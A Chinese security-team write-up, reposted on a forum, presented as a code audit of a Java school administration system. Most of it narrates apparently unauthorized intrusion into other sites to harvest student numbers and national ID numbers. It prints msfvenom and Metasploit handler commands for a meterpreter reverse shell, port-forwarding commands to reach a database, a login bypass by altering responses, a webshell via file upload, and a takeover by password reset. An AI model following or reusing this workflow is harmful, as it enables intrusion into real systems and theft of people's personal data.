搜索

[7633] 2021-07-11_代码审计曲折的某java教务系统代码审计

文档创建者：s7ckTeam
浏览次数：101
最后更新：2025-01-17
2021-07-11_代码审计曲折的某java教务系统代码审计 代 码 审 计   |   曲 折 的 某 j a v a 教 务 系 统 代 码 审 计 原 创   C h a l l e n g e r   F 1 2 s e c   2 0 2 1 - 0 7 - 1 1 收 录 于 话 题   # 代 码 审 计   , 1 个 这 是 F 1 2 s e c 的 第 6 3 篇 原 创   申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ p s ： 感 谢 北 神 ， 小 丑 师 傅 给 的 代 码 本 文 由 团 队 师 傅 本 文 由 团 队 师 傅 C h a l l e n g e r 投 稿 ， 转 载 请 标 明 来 源 。 投 稿 ， 转 载 请 标 明 来 源 。 1 . 审 计 开 始 审 计 开 始 1 . 为 s t r u t s 框 架 查 看 w e b . x m l 中 < f i l t e r - m a p p i n g > 的 < u r l - p a t t e r n > 来 确 定 拦 截 规 则 ， 当 是 . a c t i o n 时 所 有 以 . a c t i o n 为 结 尾 的 请 求 都 会 被 s t r u t s 处 理 拦 截 ， / t e s t / . a c t i o n 则 只 有 t e s t 目 录 下 的 请 求 会 被 拦 截 。 初 步 审 计 无 需 登 录 或 者 可 以 绕 过 登 录 的 洞 再 看 s t r u t s . x m l 看 对 应 . a c t i o n 后 端 处 理 在 那 ， 看 到 设 置 了 包 扫 描 ， 所 以 . a c t i o n 后 端 处 理 都 在 d c k j . b u s i n e s s 下 再 看 回 w e b . x m l 看 一 下 全 局 f i l t e r 等 f i l t e r 过 滤 器 ， 对 应 J a v a 文 件 在 d c k j . c o r e . b a s e . E n t s s G l o b a l F i l t e r ， 因 为 审 的 是 编 译 后 的 源 码 以 前 c o m . w e b . s e r v l e t . u p l o a d S e r v l e t 对 应 c l a s s e s / c o m / w e b / s e r v l e t / u p l o a d S e r v l e t . c l a s s 全 局 过 滤 ， 大 概 看 了 ， 就 判 断 c o o k i e 的 处 理 和 白 名 单 i p 的 处 理 ， 还 有 开 放 的 静 态 路 径
C A S 单 点 登 录 认 证 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 2 5 8 2 0 4 / a r t i c l e / d e t a i l s / 8 4 0 3 6 8 7 5 ， 这 里 可 以 直 接 访 问 服 务 器 不 被 重 定 向 回 认 证 服 务 器 ， 不 太 懂 登 录 通 过 判 断 s q l 登 录 成 功 注 入 j a v a   b e a n 对 象 然 后 通 过 监 听 器 绑 定 对 象 来 确 认 身 份 1 . H t t p S e s s i o n B i n d i n g L i s t e n e r 这 个 监 听 器 ， 可 以 让 j a v a B e a n 对 象 ， 感 知 它 被 绑 定 到 s e s s i o n 中 或 从 s e s s i o n 中 移 除 。 2 . H t t p S e s s i o n A c t i v a t i o n L i s t e n e r
这 个 监 听 器 ， 可 以 让 j a v a B e a n 感 知 ， 被 钝 化 或 活 化 。 钝 化 — > 将 s e s s i o n 中 的 j a v a B e a n 保 存 到 文 件 中 . 活 化 — > 从 文 件 中 将 j a v a B e a n 直 接 获 取 。 也 就 是 说 我 们 想 通 过 改 返 回 值 ” s t a t u s ” :   “ y ” 绕 过 认 证 不 太 可 能 了 只 能 看 看 有 啥 可 以 未 授 权 访 问 的 功 能 ， 看 白 名 单 ， 有 个 文 件 下 载 ， 看 上 去 可 以 ， 但 实 践 不 行 。 本 地 d e b u g   可 以 穿 目 录 下 载 文 件   o k   实 际 测 试 F u z z 一 波 不 行 0 . 0 ， 放 弃 因 为 没 有 啥 未 授 权 的 洞 ， 只 能 搞 账 号 ， 本 地 搭 起 环 境 麻 烦 审 出 来 ， 也 得 有 账 号 进 实 际 的 才 有 意 思 ， 而 登 录 有 验 证 码 ， 如 果 训 练 识 别 验 证 码 爆 破 很 麻 烦 ， 而 且 效 率 低 靠 运 气 ！ 放 弃 … . . 但 找 回 密 码 ， 只   需 要 学 号 + 身 份 证 ， 后 返 回 随 机 密 码 ， 无 需 电 话 验 证 还 是 有 希 望
打 使 用 该 系 统 的 目 标 来 获 取 学 号 和 身 份 证 打 使 用 该 系 统 的 目 标 来 获 取 学 号 和 身 份 证 谷 歌 + 社 工 库 没 找 到 直 接 打 使 用 该 系 统 的 目 标 ， 通 过 漏 洞 获 取 账 号 + 身 份 证   或 者 直 接 密 码 这 里 有 3 个 有 效 目 标 挑 第 一 个 目 标 ， 企 业 查 查 确 定 资 产 ， 子 域 名 … … 快 速 一 波 没 有 洞 ， 打 微 信 小 程 序 也 没 洞 ， 反 编 译 小 程 序 麻 烦 最 后 再 试
g o b y 扫 端 口 重 定 向 的 域 名 的 站 ， 发 现 可 管 理 员 后 台 登 录 为 T h i n k P h p 的 站 ， T P 的 站 常 规 工 具 打 一 波 p a y l o a d ， 无 效 ， 爆 破 无 效 ， 登 录 发 包 改 返 回 包 0 改 1 直 接 跳 转 到 这 ， 直 接 可 以 文 件 上 传 .
真 是 好 家 伙 ! ! 任 意 文 件 上 传 ， 直 接 送 s h e l l 来 了 。 目 的 拿 学 号 + 身 份 证   或 者 直 接 密 码 ， 翻 数 据 库 配 置 文 件 扫 端 口 未 开 放 3 3 0 6 ， 只 能 端 口 转 发 出 来 为 了 上 传 下 载 文 件 稳 定 性 ， 这 里 用   m s f 进 行 （ r e G e o r g   可 能 环 境 原 因 连 不 上 ） 生 成 马 m s f c o n s o l e 上 监 听 m s f v e n o m   - p   l i n u x / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 服 务 器 I P   l p o r t = 6 6 7   - f   e l f   >   m s f _ 6 6 7 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   l i n u x / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   0 . 0 . 0 . 0 s e t   l p o r t   6 6 7 r u n
把 生 成 的 马 上 传 上 w e b s h e l l ， 然 后 运 行 在 反 弹 回 来 的 m e t e r p r e t e r 上 进 行 端 口 转 发 但 站 库 分 离 ， m y s q l 不 在 这 台 机 , 淦 卡 住 了 ， 想 其 它 代 理 ， 但 可 以 直 接 将 转 发 地 址 改 为 m y s q l 服 务 器 地 址 ， 1 2 7 . 0 . 0 . 1 改 m y s q l 地 址   p o r t f w d   a d d   - l   6 7 1   - p   3 3 0 6   - r   2 0 1 . x . x . 1 成 功 转 发 ， m s f 转 发 感 谢 T A R I 师 兄 的 教 导 成 功 连 接 ， 只 有 学 号 和 电 话 ， 密 码 加 盐 了 在 另 外 的 数 据 库 翻 到 超 级 管 理 员 的 密 码 这 里 不 加 盐 但 ， 登 进 去 没 啥 可 以 获 取 学 生 身 份 证 的 功 能 ， 废 了 r u n c h m o d   + x   / t m p / m s f _ 6 6 7 / t m p / m s f _ 6 6 7 p o r t f w d   a d d   - l   6 7 0   - p   3 3 0 6   - r   1 2 7 . 0 . 0 . 1
在 用 户 登 录 为 另 外 的 网 站 ， 输 入 账 号 为 手 机 号 ， 密 码 随 手 1 2 3 4 5 6   登 录 成 功 返 回 身 份 证   N B   学 号 和 身 份 证 有 了 有 了   学 号 和 身 份 证 ， 回 到 要 代 码 审 计 的 系 统 去 重 置 密 码 ， 重 置 他 会 返 回 随 机 密 码 ： 成 功 登 录 。 终 于 可 以 好 好 审 计 了
再 次 黑 白 盒 结 合 审 计 ： （ 有 待 更 新 ） 再 次 黑 白 盒 结 合 审 计 ： （ 有 待 更 新 ） 才 测 一 下 子 文 件 上 传 就 崩 了 或 者 关 网 站 了 … ， 没 法 访 问 了 淦   ， 有 白 名 单 无 法 绕 过 ， 因 为 他 会 重 命 名 0 0 截 断 对 文 件 名 无 效 ， 但 p a t n 参 数 直 接 拼 接 可 控 ， 该 系 统 用 j d k 7 , 可 以 尝 试 0 0 截 断 ， 但 实 际 p a t h 后 有 / 不 知 可 否 截 断 受 空 字 节 截 断 影 响 的 J D K 版 本 范 围 : J D K < 1 . 7 . 4 0 , 单 是 J D K 7 于 2 0 1 1 年 0 7 月 2 8 日 发 布 至 2 0 1 3 年 0 9 月 1 0 日 发 表 J a v a   S E   7 U p d a t e   4 0 这 两 年 多 期 间 受 影 响 的 就 有 1 6 个 版 本 ， 值 得 注 意 的 是 J D K 1 . 6 虽 然 J D K 7 修 复 之 后 发 布 了 数 十 个 版 本 ， 但 是 并 没 有 任 何 一 个 版 本 修 复 过 这 个 问 题 ， 而 J D K 8 发 布 时 间 在 J D K 7 修 复 以 后 所 以 并 不 受 此 漏 洞 影 响 。 — — — — — — — — — — — — — — — — — — — — — — — — — — 往 期 精 彩 推 荐 往 期 精 彩 推 荐 实 战   |   记 一 次 基 本 的 e d u 漏 洞 挖 掘 经 验 分 享   |     文 件 上 传 个 人 b y p a s s 总 结 经 验 分 享   |   m s s q l 注 入 实 战 总 结 之 狠 快 准 绕 ❤ ❤ 爱 心 三 连 击 爱 心 三 连 击 1 . 关 注 公 众 号 「 「 F 1 2 s e c 」 」 ！ 2 . 本 文 已 收 录 在 F 1 2 s e c 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t /
3 . 看 到 这 里 了 就 点 个 关 注 支 持 下 吧 ， 你 的 「 关 注 」 「 关 注 」 是 我 创 作 的 动 力 。 公 众 号 ： F 1 2 s e c Q Q 群 ： 8 8 4 3 3 8 0 4 7 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / 这 是 一 个 终 身 学 习 的 团 队 ， 他 们 在 坚 持 自 己 热 爱 的 事 情 ， 欢 迎 加 入 F 1 2 s e c ， 和 师 傅 们 一 起 开 心 的 挖 洞 ～                 关 注 和 转 发 是 莫 大 鼓 励 ❤
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理